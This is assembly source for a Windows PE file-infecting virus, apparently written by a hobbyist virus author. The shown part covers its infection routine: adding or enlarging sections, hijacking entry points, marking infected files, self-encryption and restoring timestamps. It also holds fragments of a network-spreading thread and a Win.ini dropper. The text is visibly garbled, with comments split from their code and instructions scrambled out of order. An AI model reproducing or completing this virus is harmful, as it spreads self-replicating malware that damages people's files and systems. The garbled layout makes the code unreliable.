; ; no_need_1: ; push [ebp+hfile] ; call [ebp+_CloseHandle] ; ; no_need: ; popa ; ret ; smash_dropper endp ; ; windirs db "\Windows", 0 ; db "\WinNT" , 0 ; db "\Win" , 0 ; db "\Win95" , 0 ; db "\Win98" , 0 ; db 0fh ; ; winini db "\Win.ini" , 0 ; drop db "\ramm.exe", 0 ; cmd db "run" , 0 ; ; myname db 260 dup(0) ; droppername db 260 dup(0) ; winininame db 260 dup(0) ; RemoteInfection endp ; ; done_net: ; IF THREAD6SEH ; jmp restore_thread6_seh ;host ; Thread6Exception: ;if we had an error we mov esp, [esp+8] ;must restore the ESP call DeltaRecover6 ; DeltaRecover6: ; pop ebp ; sub ebp, offset DeltaRecover6 ; ; restore_thread6_seh: ; pop dword ptr fs:[0] ;and restore the SEH add esp, 4 ; ENDIF ; ; ENDIF ; ; exit_netcrawl: ; push 0 ; push 5 ; push [ebp+hsemaphore] ; call [ebp+_ReleaseSemaphore] ; call [ebp+_ExitThread], 0 ; Thread_6_StartAddress endp ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ OurThreads dd offset Thread_1_StartAddress ; dd offset Thread_2_StartAddress ; dd offset Thread_3_StartAddress ; dd offset Thread_4_StartAddress ; dd offset Thread_5_StartAddress ; dd offset Thread_6_StartAddress ; ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ReturnToHost: ; jmp restore_seh ;host ;

call [ebp+_CloseHandle]

ExceptionExit: ;if we had an error we IF DEBUG ; call MessageBoxA, 0, offset err, offset err, 0 jmp go_over ; err db 'SEH Error!', 0 ; go_over: ; ELSE ; ENDIF ; mov esp, [esp+8] ;must restore the ESP ; restore_seh: ; pop dword ptr fs:[0] ;and restore the SEH add esp, 4 ;returning to the host... ; db 0BDh ;restore delta handle delta dd 0 ; ; cmp [ebp+firstgen], 1 ; je generation0_exit ; ; IF APIHOOK ;if api hook is on we apicheck: ;cannot return to host cmp [ebp+apihookfinish], 1 ;until the hooking is jne apicheck ;done... ENDIF ; ; mov eax, 12345678h ;mov eax, oledip oldeip equ $-4 ; add eax, 12345678h ;add eax, imagebase adjust equ $-4 ; mov dword ptr [ebp+savedeax], eax ; popa ; ; push 12345678h ; savedeax equ $-4 ; ret ; ; generation0_exit: ; push 0 ; call [ebp+_ExitProcess] ; ; InfectFile proc ; pusha ;save regs mov [ebp+flag], 1 ;mark success flag mov [ebp+filename], edi ;save filename mov esi, edi ; call ValidateFile ; jc failed_infection ; ; call [ebp+_GetFileAttributesA], edi ;get attributes mov [ebp+fileattributes], eax ;and save them call [ebp+_SetFileAttributesA], edi, FILE_ATTRIBUTE_NORMAL; and set ;them normal call [ebp+_CreateFileA], edi, GENERIC_READ+GENERIC_WRITE, 0, 0,\ OPEN_EXISTING, 0, 0 ;open file cmp eax, INVALID_HANDLE_VALUE ; je finished ; mov [ebp+hfile], eax ; ; mov [ebp+fileopen], TRUE ; ; lea ebx, [ebp+filetime1] ;save file time push ebx ;

add ebx, 8 push ebx add ebx, 8 push ebx call [ebp+_GetFileTime], eax

; ; ; ; ; ; call [ebp+_GetFileSize], [ebp+hfile], 0 ;get file size mov [ebp+filesize], eax ; add eax, virussize + 1000h ; mov [ebp+additional], eax ;save additional length ; call [ebp+_CreateFileMappingA], [ebp+hfile], 0, PAGE_READWRITE,\ 0, [ebp+additional], 0 or eax, eax ;create mapping object je close_file ; ; mov [ebp+hmap], eax ; ; call [ebp+_MapViewOfFile], [ebp+hmap], FILE_MAP_ALL_ACCESS, 0, 0,\ [ebp+additional] ;map file! or eax, eax ; je close_map ; ; mov [ebp+haddress], eax ;save address of mapping mov esi, eax ; ; mov ax, word ptr [esi] ;check exe sign xor ax, 'Úß' ; cmp ax, 'ZM' xor 'Úß' ; jne close_address ; ; call InitCopro ;check infection mark fild word ptr [esi.MZ_oeminfo] ;this is number a fild word ptr [esi.MZ_oeminfo] ; fmul ; call RestoreCopro ; add esp, 4 ; ; mov esi, [esi.MZ_lfanew] ;get pointer to pe header cmp esi, 1000h ; ja close_address ; add esi, [ebp+haddress] ; ; call [ebp+_IsBadReadPtr], esi, 1000h ;check readability or eax, eax ; jnz close_address ; ; mov [ebp+peheader], esi ;save pe header ; mov ax, word ptr [esi] ;check if pe file xor ax, 'õð' ; cmp ax, 'EP' xor 'õð' ; jne close_address ; ; test word ptr [esi.Characteristics], IMAGE_FILE_DLL; be sure it's not jnz close_address ;a library ; lea edi, [ebp+pedata] ; xor eax, eax ; mov ax, [esi.NumberOfSections] ;save number of sections stosd ; mov ax, [esi.SizeOfOptionalHeader] ;save optional header stosd ;

;get to the optional head. ; ; cmp word ptr [esi.OH_MajorImageVersion], 0 ; je skip_check ; cmp word ptr [esi.OH_MinorImageVersion], 0 ; je skip_check ; call InitCopro ; fild word ptr [esi.OH_MajorImageVersion] ;this is number b fild word ptr [esi.OH_MajorImageVersion] ; fmul ; fild word ptr [esi.OH_MinorImageVersion] ;this is number c fild word ptr [esi.OH_MinorImageVersion] ; fmul ; fadd ; fsub ;here is b^2+c^2-a^2 fldz ;is it 0? fcompp ;compare them fstsw ax ;get status word call RestoreCopro ; add esp, 4 ; sahf ;load flags with it jz close_address ;is it already infected? ; skip_check: ; cmp [esi.OH_Subsystem], IMAGE_SUBSYSTEM_NATIVE; check if it is not je close_address ;a driver... ; mov eax, [esi.OH_AddressOfEntryPoint] ;save entry eip stosd ; mov eax, [esi.OH_ImageBase] ;imagebase stosd ; mov eax, [esi.OH_SectionAlignment] ;section align stosd ; mov eax, [esi.OH_FileAlignment] ;file align stosd ; mov eax, [esi.OH_SizeOfImage] ;size of image stosd ; mov eax, [esi.OH_SizeOfHeaders] ;headers size stosd ; mov eax, [esi.OH_CheckSum] ;and checksum stosd ; mov eax, [esi.OH_NumberOfRvaAndSizes] ;save number of dirs.. stosd ; mov eax, [esi.OH_BaseOfCode] ;and base of code stosd ; ; add esi, [ebp+sizeofoptionalheader] ;mov to first sec header mov ecx, [ebp+numberofsections] ; ; scan_for_code: ; mov eax, [esi.SH_VirtualAddress] ;get the RVA cmp eax, [ebp+baseofcode] ;is it the code section? jae found_code_section ; add esi, IMAGE_SIZEOF_SECTION_HEADER ;no... get next... loop scan_for_code ; jmp close_address ; ; found_code_section: ; mov [ebp+codesectionheader], esi ;save code section ptr mov [ebp+codesectionrva], eax ; mov ebx, [esi.SH_PointerToRawData] ; mov [ebp+codesectionraw], ebx ;

add esi, IMAGE_FILE_HEADER_SIZE mov [ebp+optionalheader], esi

; ; ; ; ; ; IF APIHOOK ; pusha ; mov esi, [ebp+optionalheader] ; mov ecx, [ebp+numberofsections] ; mov ebx, [esi.OH_DataDirectory.DE_Import.DD_VirtualAddress] or ebx, ebx ; jz over_import ; add esi, [ebp+sizeofoptionalheader] ; ; scan_for_imports: ; mov eax, [esi.SH_VirtualAddress] ;get the RVA cmp eax, ebx ;is it the import section? je found_import ; jb maybe_found ; jmp search_next_import ; ; maybe_found: ; add eax, [esi.SH_VirtualSize] ; cmp eax, ebx ; ja found_import ; ; search_next_import: ; add esi, IMAGE_SIZEOF_SECTION_HEADER ;no... get next... loop scan_for_imports ; jmp no_import_found ; ; found_import: ;enable write on the or [esi.SH_Characteristics], IMAGE_SCN_MEM_WRITE; imports, credits to mov [ebp+no_imports], TRUE ;Bumblebee for this. jmp over_import ; ; no_import_found: ; mov [ebp+no_imports], FALSE ; ; over_import: ; popa ; ENDIF ; call locate_last_section_stuff ;locate stuff in the last ;section call add_new_section ;add a new section jnc ok_go_with_it ; ; call increase_last_section ; mov edi, [ebp+finaldestination] ; jmp do_virus_movement ; ; ok_go_with_it: ; mov eax, [esi.SH_SizeOfRawData] ;get the 2 sizes and be cmp eax, virussize ;sure we are smaller then jb set_method_1 ;both of them... mov eax, [esi.SH_VirtualSize] ; cmp eax, virussize ; jb set_method_1 ; ; size_is_ok: ; cmp eax, virussize ;do we fit into the code jb set_method_1 ;section?

mov ebx, [esi.SH_VirtualSize] mov eax, [esi.SH_SizeOfRawData] call choose_smaller mov [ebp+codesectionsize], ebx

mov [ebp+method], METHOD_MOVE_CODE mov ecx, 5 establish_home: mov esi, [ebp+codesectionheader] mov eax, [esi.SH_SizeOfRawData] mov ebx, [esi.SH_VirtualSize] call choose_smaller mov ebx, [esi.SH_PointerToRawData] mov [ebp+codesectionraw], ebx mov esi, ebx IF RANDOMIZE_ENTRY sub eax, virussize dec eax call brandom32 ELSE mov eax, 1 ENDIF mov [ebp+codedelta], eax call check_intersection jnc continue_process loop establish_home jmp set_method_1

continue_process: add esi, eax add esi, [ebp+haddress] push esi mov edi, [ebp+last_section_destination] add edi, [ebp+haddress] call [ebp+_IsBadWritePtr], edi, virussize or eax, eax jnz close_address call move_virus_size pop edi mov [ebp+finaldestination], edi do_virus_movement: cmp [ebp+method], METHOD_INCREASE_LAST jne not_increase_last mov eax, [ebp+last_section_destination] sub eax, [ebp+lastsectionraw] add eax, [ebp+lastsectionrva] jmp set_it not_increase_last: cmp [ebp+method], METHOD_APPEND_AT_END jne not_at_end mov eax, [ebp+lastsectionrva] jmp set_it not_at_end: mov eax, [ebp+codesectionrva] add eax, [ebp+codedelta] set_it: add eax, (ourpoint-start)-1 mov dword ptr [ebp+ourpoint+1], eax

; ;if yes, move the code... ; ; ; ; ; ; ; ; ;get pointer to data ;save it... ;get a delta difference ; ;to place us in and ;randomize it... ; ; ; ; ;from where we start? ; ;are we intersecting with ;other directories? ;if yes, try again! ; ;if cannot find place move ;at end! ; ; ; ; ; ;save our destination... ; ;can we write? ; ; ;move the original code ;from here... ;save the destination of ;code ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;for imagebase getter

;

; mov eax, [ebp+last_section_destination] ;here is a raw ptr in the sub eax, [ebp+lastsectionraw] ;last section. Substract add eax, [ebp+lastsectionrva] ;raw pointer and add virt mov dword ptr [ebp+codesource], eax ;pointer to get a RVA mov eax, [ebp+finaldestination] ;same crap on destination sub eax, [ebp+haddress] ; sub eax, [ebp+codesectionraw] ; add eax, [ebp+codesectionrva] ; mov dword ptr [ebp+codedestin], eax ; ; mov [ebp+copying], 1 ;syncronization mov ecx, 100d ; loop $ ; ; lea esi, [ebp+start] ;move virus now in the call move_virus_size ;code place... mov [ebp+copying], 0 ; ; mov eax, [ebp+addressofentrypoint] ;save old eip mov edi, [ebp+finaldestination] ; mov [edi+offset oldeip-offset start], eax ; ; mov esi, [ebp+codesectionheader] ; or [esi.SH_Characteristics], IMAGE_SCN_MEM_WRITE+IMAGE_SCN_MEM_READ jmp continue ;make code writable ; set_method_1: ; mov [ebp+method], METHOD_APPEND_AT_END ;here we append the virus ;at the end... mov edi, [ebp+last_section_destination] ; add edi, [ebp+haddress] ; mov [ebp+finaldestination], edi ; call [ebp+_IsBadWritePtr], edi, virussize ;can we write? or eax, eax ; jnz close_address ; jmp do_virus_movement ; ; continue: ; call check_not ;check lists mov eax, [ebp+finaldestination] ; add eax, (offset firstgen-offset start) ;zero the first gen mark mov dword ptr [eax], 0 ; ; mov esi, [ebp+optionalheader] ;now align size of image mov eax, [ebp+sizeofimage] ;to the section alignment add eax, [ebp+newsize] ; cmp eax, [ebp+totalsizes] ; jb sizeofimage_ok ; ; call align_to_sectionalign ; mov [esi.OH_SizeOfImage], eax ; ; sizeofimage_ok: ; mov eax, [ebp+filesize] ;align the filesize to add eax, [ebp+newsize] ;the file alignment call align_to_filealign ; mov [ebp+filesize], eax ; ; cmp [ebp+method], METHOD_APPEND_AT_END ; je alternate ; cmp [ebp+method], METHOD_INCREASE_LAST ; je alternate2 ;

mov sub sub add jmp

eax, [ebp+finaldestination] eax, [ebp+haddress] eax, [ebp+codesectionraw] eax, [ebp+codesectionrva] set_eip

alternate2: pusha mov esi, [ebp+lastsectionheader] mov eax, [esi.SH_VirtualSize] xchg eax, [esi.SH_SizeOfRawData] mov [esi.SH_VirtualSize], eax popa mov eax, [ebp+last_section_destination] sub eax, [ebp+lastsectionraw] add eax, [ebp+lastsectionrva] call EPO_Routine jnc set_epo jmp set_eip alternate: mov eax, [ebp+lastsectionrva] call EPO_Routine jnc set_epo jmp set_eip set_epo: pusha mov ebx, [ebp+addressofentrypoint] mov edx, ebx add ebx, [ebp+codesectionraw] sub ebx, [ebp+codesectionrva] add ebx, [ebp+haddress] sub eax, edx sub eax, 5 mov edx, dword ptr [ebx] mov ecx, dword ptr [ebx+4] mov byte ptr [ebx], 0e9h mov dword ptr [ebx+1], eax mov eax, [ebp+finaldestination] add eax, (offset saved_code-offset start) mov [eax], edx mov [eax+4], ecx popa jmp mark_infection set_eip: mov [esi.OH_AddressOfEntryPoint], eax mark_infection: mov eax, 100d call brandom32 mov word ptr [ebp+m], ax mov eax, 100d call brandom32 mov word ptr [ebp+n], ax call fild fild fild fild InitCopro word ptr [ebp+n] word ptr [ebp+m] word ptr [ebp+n] word ptr [ebp+m]

;get our final destination ;substract current map ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;address and save eip RVA ; ; ;get random pythagora's ;numbers roots ;m ; ; ;n ; ; ;load the root numbers ; ; ;

;M*M ; ;N*N ; ;M*M + N*N ;store it to a ; ; ;|M*M - N*N| ;store it to c ; ; ; ;2*M*N ;store it to b ;Now a^2 = b^2 + c^2 ; ; push esi ;mark infection! mov esi, [ebp+haddress] ; mov ax, [ebp+a] ; mov word ptr [esi.MZ_oeminfo], ax ; mov ax, [ebp+b] ; pop esi ; mov word ptr [esi.OH_MajorImageVersion], ax ; mov ax, [ebp+c] ; mov word ptr [esi.OH_MinorImageVersion], ax ; ; mov eax, [ebp+sizeofheaders] ;rearrange size of headers mov [esi.OH_SizeOfHeaders], eax ; ; mov esi, [ebp+peheader] ; ; cmp [ebp+method], METHOD_INCREASE_LAST ; je no_need_to_increase ; inc word ptr [esi.NumberOfSections] ; ; no_need_to_increase: ; IF CHECKSUM ; mov eax, [esi.OH_CheckSum] ; or eax, eax ; jz no_checksum ; ; mov ebx, [ebp+checksumfile] ; or ebx, ebx ; jz no_checksum ; ; mov esi, [ebp+optionalheader] ; mov eax, [esi.OH_CheckSum] ; or eax, eax ; jz no_checksum ; lea eax, [esi.OH_CheckSum] ; push eax ; lea eax, [ebp+offset headersum] ; push eax ; push [ebp+filesize] ; push [ebp+haddress] ; call ebx ; ELSE ; mov esi, [ebp+optionalheader] ; xor eax, eax ; mov [esi.OH_CheckSum], eax ; ENDIF ;

fmul st, st(2) fincstp fmul st, st(2) fdecstp fadd st, st(1) fist word ptr [ebp+a] fsub st, st(1) fsub st, st(1) fabs fist word ptr [ebp+c] fincstp fincstp fmul fimul word ptr [ebp+two] fist word ptr [ebp+b] call RestoreCopro add esp, 4

no_checksum: mov esi, add esi, mov edi, mov ecx,

[ebp+finaldestination] (EncryptedArea - start) esi (end2-EncryptedArea)

EncryptLoop: lodsb mov ebx, ecx inc bl jp _parity rol al, cl jmp do_encrypt _parity: ror al, cl do_encrypt: stosb loop EncryptLoop jmp infection_succesfull m n a b c two dw dw dw dw dw dw 0 0 0 0 0 2

move_virus_size: mov ecx, virussize rep movsb ret

; ; ;our internal encryptor ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;success!!! ;-) ; ; ; ; ; ; ; ; ;this moves as many bytes ;as the virus size is.. ; ; ;

;I found out today a very important thing... Some of the pe files inside ;the windows directory have a certain particularity that requires special ;care... That is some of the directories present in the DataDirectory have ;a RVA that falls inside the code section. This is the case for the ;Import Address Table (IAT), which for some file occurs at the beginning of ;the code section. If the virus places itself over that area, than, first of ;all the running of the original file will be faulted, and second of all, a ;part of the virus will be overwritten by the system at load and an error ;will occure for sure. In this situation the virus will check if any of ;the directories intersects it and if so, will try to get another random ;place. If it is not possible, the virus will go at end. check_intersection: ; pusha ;save registers! mov edi, esi ; add edi, eax ; sub edi, [ebp+codesectionraw] ; add edi, [ebp+codesectionrva] ; ; mov esi, [ebp+optionalheader] ; lea ebx, [esi.OH_DataDirectory] ; push ecx ; mov ecx, [ebp+numberofrva] ;how many directories? mov edx, 0 ;index in directories. ; check_directories: ; pusha ;save all again!

; x = X (esi) ; ; ; x+y = Y (eax) ; ; mov ebx, edi ; a = A (edi) add ebx, virussize ; a+b = B (ebx) ; ;We have to check if the interval (X,Y) intersects interval (A,B) ; cmp esi, edi ; X<A? jbe YYY1 ; ja XXX1 ; ; ; YYY1: ; cmp eax, edi ;Y<A? jbe ok_next_dir ; jmp Intersect ; ; XXX1: ; cmp esi, ebx ;X>B? jb Intersect ; ; ok_next_dir: ; popa ; add edx, 8 ; loop check_directories ; pop ecx ; popa ; clc ; ret ; ; Intersect: ; popa ; pop ecx ; popa ; stc ; ret ; ; locate_last_section_stuff: ; pusha ; ; mov esi, [ebp+optionalheader] ; add esi, [ebp+sizeofoptionalheader] ; mov eax, [ebp+numberofsections] ;get number of sections ; push eax esi ;first calculate the mov ecx, eax ; mov eax, [esi.SH_PointerToRawData] ; mov [ebp+lowest_section_raw], eax ;lowest pointer to raw xor edx, edx ; ; compare_rva: ; add edx, [esi.SH_VirtualSize] ; mov eax, [esi.SH_PointerToRawData] ; cmp [ebp+lowest_section_raw], eax ; jbe next_compare ; xchg [ebp+lowest_section_raw], eax ; ; next_compare: ; add esi, IMAGE_SIZEOF_SECTION_HEADER ;

mov esi, [ebx.edx.DD_VirtualAddress] or esi, esi jz ok_next_dir mov eax, esi add eax, [ebx.edx.DD_Size]

loop compare_rva ; ; add edx, [ebp+sizeofheaders] mov [ebp+totalsizes], edx pop esi eax dec mov xor mul add mov mov mov mov mov mov mov eax ecx, IMAGE_SIZEOF_SECTION_HEADER edx, edx ecx esi, eax [ebp+lastsectionheader], esi eax, [esi.SH_VirtualAddress] [ebp+lastsectionrva], eax eax, [esi.SH_PointerToRawData] [ebp+lastsectionraw], eax eax, [esi.SH_SizeOfRawData] ebx, [esi.SH_VirtualSize]

; ; ;useless crap... ; ; ; ; ;go for last ;multiply with the size ;of a section ; ; ;save pointer to header ; ; ; ; ;choose the smaller of ;the sizes

; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

Major fix-up!! Many PE files mark in the section header a value which is much smaller than the real size of the data. The real value gets calculated somehow by the loader, so if we place at the end of one of the sizes we will probably overwrite data, so I will simply place it at the end of the file, even if this means increasing the infected victim. if you want to enable the placing in the last section cavity unmark the following lines: call choose_smaller or eax, eax jnz last_size_ok xchg eax, ebx or eax, eax jnz last_size_ok

; ;if one is zero, try the ;other; if both are 0... ; ; ; ; consider_eof: ;...consider the EOF as mov eax, [ebp+filesize] ;the last section dest. jmp save_it ; ; last_size_ok: ;if the size is ok, then mov ebx, [esi.SH_PointerToRawData] ;retrieve the pointer to or ebx, ebx ;raw data. If it is 0 jz consider_eof ;take eof, otherwise add add ebx, eax ;it to obtain the pos. xchg ebx, eax ; cmp eax, [ebp+filesize] ;if it exceedes the file ja consider_eof ;size also consider EOF. ; save_it: ; mov [ebp+last_section_destination], eax ;save last section pointer mov eax, [esi.SH_VirtualAddress] ; mov esi, [ebp+optionalheader] ; mov ebx, [esi.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress] cmp eax, ebx ; jne not_relocations ; mov [ebp+situation], RELOCATIONS_LAST ; jmp done_last ; ; not_relocations: ; mov ebx, [esi.OH_DataDirectory.DE_Resource.DD_VirtualAddress] cmp eax, ebx ;

jne no_resources mov [ebp+situation], RESOURCES_LAST jmp done_last no_resources: mov [ebp+situation], WE_ARE_LAST done_last: popa ret add_new_section: pusha mov eax, 123h call brandom32 add eax, virussize mov [ebp+newraw], eax call align_to_filealign mov [ebp+newsize], eax mov mov add sub mov esi, ecx, esi, esi, eax, [ebp+optionalheader] [ebp+numberofrva] [ebp+sizeofoptionalheader] 8 0EEEEEEEEh

choose_smallest_directory_va: mov ebx, [esi] or ebx, ebx jz go_to_next cmp eax, ebx ja found_smaller_va jmp go_to_next found_smaller_va: mov eax, ebx go_to_next: sub esi, 8 loop choose_smallest_directory_va mov [ebp+smallest_dir_va], eax sub eax, IMAGE_SIZEOF_SECTION_HEADER add eax, [ebp+haddress] mov esi, [ebp+lastsectionheader] mov ecx, IMAGE_SIZEOF_SECTION_HEADER mov ebx, esi add ebx, ecx add ebx, ecx cmp ebx, eax ja its_not_ok mov edi, esi add edi, ecx mov eax, edi sub eax, [ebp+haddress] add eax, IMAGE_SIZEOF_SECTION_HEADER cmp eax, [ebp+lowest_section_raw] jb its_ok its_not_ok:

; ; ; ; ; ; ; ; ; ; ; ; ;save all ;choose some random ;increasement ; ;save new raw ; ;save new aligned size ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;go to last section header ; ; ; ; ; ; ; ; ; ; ;can we insert a new ;section header? ; ; ; ; ;

; ; ; ; its_ok: ; rep movsb ;and make a copy of it ; mov eax, [ebp+sizeofheaders] ; sub edi, [ebp+haddress] ; cmp edi, eax ; jbe ok_header_size ; add eax, IMAGE_SIZEOF_SECTION_HEADER ; call align_to_filealign ; mov [ebp+sizeofheaders], eax ; ; ok_header_size: ; cmp [ebp+situation], WE_ARE_LAST ;are we at end? jne not_last ; ; mov esi, [ebp+lastsectionheader] ;if yes, then we mov ebx, [esi.SH_VirtualAddress] ;rearrange the last header mov eax, [ebp+last_section_destination] ; sub eax, [esi.SH_PointerToRawData] ; call align_to_filealign ; add ebx, eax ; add esi, IMAGE_SIZEOF_SECTION_HEADER ; mov [esi.SH_VirtualAddress], eax ; call set_our_sizes ;and set our sizes jmp done_adding ; ; not_last: ;if we are not last, we mov eax, [ebp+filesize] ; sub eax, [esi.SH_PointerToRawData] ;must rearrange both mov ecx, eax ;headers mov esi, [esi.SH_PointerToRawData] ; mov [ebp+last_section_destination], esi ; add esi, [ebp+haddress] ; add esi, eax ; mov edi, esi ; add edi, [ebp+newsize] ; std ; rep movsb ;and move the last section cld ;below our new section mov esi, [ebp+lastsectionheader] ; call set_our_sizes ; mov ebx, [esi.SH_VirtualAddress] ; add ebx, [esi.SH_SizeOfRawData] ; add esi, IMAGE_SIZEOF_SECTION_HEADER ; mov eax, [ebp+newsize] ; add [esi.SH_PointerToRawData], eax ; mov eax, ebx ; call align_to_sectionalign ; mov [esi.SH_VirtualAddress], eax ; mov esi, [ebp+optionalheader] ; ; cmp [ebp+situation], RESOURCES_LAST ;check if we must fix jne then_relocs ;resources ; mov [esi.OH_DataDirectory.DE_Resource.DD_VirtualAddress], ebx call RealignResources ; jmp done_adding ; ; then_relocs: ;

popa stc ret

mov [esi.OH_DataDirectory.DE_BaseReloc.DD_VirtualAddress], ebx call RealignRelocs ; jmp done_adding ; ; set_our_sizes: ; call set_our_name ; mov eax, [ebp+newraw] ;set our new raw size mov [esi.SH_VirtualSize], eax ;and our virtual size call align_to_filealign ; mov [esi.SH_SizeOfRawData], eax ; mov [esi.SH_Characteristics], IMAGE_SCN_MEM_WRITE+IMAGE_SCN_MEM_READ+\ IMAGE_SCN_CNT_INITIALIZED_DATA ret ; ; done_adding: ; popa ; clc ; ret ; ; set_our_name: ; pusha ; push esi ; mov esi, [ebp+optionalheader] ; add esi, [ebp+sizeofoptionalheader] ; mov ecx, [ebp+numberofsections] ; mov ebx, section_names_number ; ; compare_names: ; push ecx ; lea edi, [ebp+section_names] ; mov ecx, section_names_number ; ; compare: ; inc edi ; push ecx esi edi ; mov ecx, 8 ; rep cmpsb ; je mark_it ; ; next_name: ; pop edi esi ecx ; add edi, 8 ; loop compare ; jmp next_section ; ; mark_it: ; mov byte ptr [edi-9], 0 ; dec ebx ; pop edi esi ecx ; jmp next_section ; ; next_section: ; add esi, IMAGE_SIZEOF_SECTION_HEADER ; pop ecx ; loop compare_names ; ; or ebx, ebx ; jz choose_safe ; mov eax, ebx ; call brandom32 ; lea edi, [ebp+section_names] ; sub edi, 9 ; mov ecx, eax ;

; ; ; ; ; choose_name: ; add edi, 9 ; cmp byte ptr [edi], 1 ; je looping ; inc ecx ;don't count it ; looping: ; loop choose_name ; ; done_choosing: ; inc edi ; pop esi ; xchg esi, edi ; mov ecx, 8 ; rep movsb ; popa ; ret ; ; choose_safe: ; lea edi, [ebp+safe] ; jmp done_choosing ; ; section_names: ;our new section not so db 1, "DATA" , 0, 0, 0, 0 ;random name... db 1, ".data" , 0, 0, 0 ; db 1, ".idata", 0, 0 ; db 1, ".udata", 0, 0 ; db 1, "BSS" , 0, 0, 0, 0, 0 ; db 1, ".rdata", 0, 0 ; db 1, ".sdata", 0, 0 ; db 1, ".edata", 0, 0 ; section_names_number = ($-offset section_names)/9 ; safe db 0,0,0,0,0,0,0,0 ; ; increase_last_section: ; mov [ebp+method], METHOD_INCREASE_LAST ; mov esi, [ebp+lastsectionheader] ; mov eax, [ebp+newraw] ; add [esi.SH_SizeOfRawData], eax ; mov eax, [ebp+newsize] ; add [esi.SH_VirtualSize], eax ; mov eax, [ebp+last_section_destination] ; add eax, [ebp+haddress] ; mov [ebp+finaldestination], eax ; or [esi.SH_Characteristics], IMAGE_SCN_MEM_WRITE+IMAGE_SCN_MEM_READ ret ; ; CalculateDelta: mov esi, [ebp+lastsectionheader] ;go to last section mov eax, [esi.SH_VirtualAddress] ;and calculate the add esi, IMAGE_SIZEOF_SECTION_HEADER ;RVA delta sub eax, [esi.SH_VirtualAddress] ; neg eax ; ret ; ; RealignResources: ; call CalculateDelta ; mov [ebp+DeltaRVA], eax ;

or ecx, ecx jnz choose_name add edi, 9 jmp done_choosing

mov esi, dword ptr [esi.SH_PointerToRawData]; Point the resources add esi, dword ptr [ebp+haddress] ; and align in memo mov edi, esi ; save in edi add edi, IMAGE_RESOURCE_DIRECTORY_SIZE ; skip resource dir call parse_resource_directory ; parse all ret ; ; parse_resource_directory: ; xor ecx, ecx ; mov cx, word ptr [esi.RD_NumberOfNamedEntries]; NamedEntries+IdEntries add cx, word ptr [esi.RD_NumberOfIdEntries] ; is our counter ; add esi, IMAGE_RESOURCE_DIRECTORY_SIZE ; skip resource dir ; parse_this_one: ; push ecx ; save counter push esi ; save address call parse_resource ; parse the dir pop esi ; restore address pop ecx ; restore counter add esi, 8 ; get next entry loop parse_this_one ; loop until cx=0 ret ; return ; parse_resource: ; mov eax, [esi.RDE_OffsetToData] ; get offset to data mov esi, edi ; get base of resorurces test eax, 80000000h ; is it a subdirectory? jz data_is_resource ; ; data_is_directory: ; xor eax, 80000000h ; if it is a subdirectory add esi, eax ; find it's address and sub esi, 10h ; call parse_resource_directory ; go to parse it too... ret ; ; data_is_resource: ; if it is data, then add esi, eax ; find out it's address sub esi, 10h ; mov eax, dword ptr [ebp+DeltaRVA] ; and increment the offs add dword ptr [esi.REDE_OffsetToData], eax ; to data with our Delta ret ; and ret... ; RealignRelocs: ; ret ; ; infection_succesfull: ; mov [ebp+flag], 0 ;mark good infection ; close_address: ; call [ebp+_UnmapViewOfFile], [ebp+haddress] ;unmap view ; close_map: ; call [ebp+_CloseHandle], [ebp+hmap] ;close map object ; close_file: ; call [ebp+_SetFilePointer], [ebp+hfile], [ebp+filesize], 0, FILE_BEGIN call [ebp+_SetEndOfFile], [ebp+hfile] ;set EOF lea ebx, [ebp+filetime1] ;restore the file time push ebx ; add ebx, 8 ; push ebx ;

; ; ; ;restore file time ;close file ; finished: ; call [ebp+_SetFileAttributesA], [ebp+filename], [ebp+fileattributes] cmp [ebp+flag], 0 ;restore attributes je succesfull_infection ; ; failed_infection: ; mov [ebp+fileopen], FALSE ; popa ; stc ; ret ; ; succesfull_infection: ; mov [ebp+fileopen], FALSE ; popa ; clc ; ret ; ; choose_smaller: ; cmp eax, ebx ; ja get_ebx ; ret ; ; get_ebx: ; xchg eax, ebx ; ret ; ; align_to_filealign: ;here are the aligning mov ecx, [ebp+filealign] ;procedures jmp align_eax ; ; align_to_sectionalign: ; mov ecx, [ebp+sectionalign] ; ; align_eax: ; push edx ; xor edx, edx ; div ecx ; or edx, edx ; jz $+3 ; inc eax ; mul ecx ; pop edx ; ret ; ; InfectFile endp ; ; fileattributes dd 0 ; filesize dd 0 ; filetime1 dq 0 ; filetime2 dq 0 ; filetime3 dq 0 ; hfile dd 0 ; hmap dd 0 ; haddress dd 0 ; flag dd 0 ; additional dd 0 ; peheader dd 0 ;

add ebx, 8 push ebx push [ebp+hfile] call [ebp+_SetFileTime] call [ebp+_CloseHandle], [ebp+hfile]

